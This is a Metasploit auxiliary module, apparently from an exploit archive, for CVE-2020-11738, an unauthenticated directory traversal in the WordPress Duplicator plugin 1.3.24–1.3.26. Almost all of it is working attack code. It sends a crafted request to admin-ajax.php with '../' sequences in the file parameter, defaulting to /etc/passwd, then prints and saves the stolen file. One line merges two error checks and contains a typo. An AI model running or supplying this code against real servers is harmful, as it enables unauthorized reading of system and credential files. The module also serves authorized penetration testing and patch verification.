Wordpress Plugin Duplicator 1.3.26 - Unauthenticated Arbitrary File Read (Metasploit)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
    include Msf::Auxiliary::Report
    include Msf::Exploit::Remote::HTTP::Wordpress
    include Msf::Auxiliary::Scanner
      def initialize(info = {})
      super(update_info(info,
                        'Name' => 'WordPress Duplicator File Read Vulnerability',
                        'Description' => %q{ This module exploits an unauthenticated directory traversal vulnerability in WordPress plugin 'Duplicator' plugin version 1.3.24-1.3.26, allowing arbitrary file read with the web server privileges. This vulnerability was being actively exploited when it was discovered.},
                        'References' =>
                          [
                            ['CVE', '2020-11738'],
                            ['WPVDB', '10078'],
                            ['URL', 'https://snapcreek.com/duplicator/docs/changelog']
                          ],
                        'Author' =>
                          [
                            'Ramuel Gall', # Vulnerability discovery
                            'Hoa Nguyen - SunCSR Team' # Metasploit module
                          ],
                        'DisclosureDate' => 'Feb 19 2020',
                        'License' => MSF_LICENSE
              ))
        register_options(
        [
          OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
          OptInt.new('DEPTH', [true, 'Traversal Depth (to reach the root folder)', 5])
        ])
    end
      def check
      check_plugin_version_from_readme('duplicator_download','1.3.27', '1.3.24')
    end
      def run_host(ip)
      traversal = '../' * datastore['DEPTH']
      filename = datastore['FILEPATH']
      filename = filename[1, filename.length] if filename =~ /^\//
        res = send_request_cgi({
                               'method' => 'GET',
                               'uri' => normalize_uri(target_uri.path,'wp-admin', 'admin-ajax.php'),
                               'vars_get' =>
                                 {
                                   'action' => 'duplicator_download',
                                   'file' => "#{traversal}#{filename}"
                                 }
                             })
        fail_with Failure::Unreachable, 'Connection failed' unless res fail_with Failure::NotVulnerable, 'Connection failed. Nothingn was downloaded' if res.code != 200
      fail_with Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter' if res.body.length.zero?
        print_status('Downloading file...')
      print_line("\n#{res.body}\n")
        fname = datastore['FILEPATH']
        path = store_loot(
        'duplicator.traversal',
        'text/plain',
        ip,
        res.body,
        fname
      )
      print_good("File saved in: #{path}")
    end
  end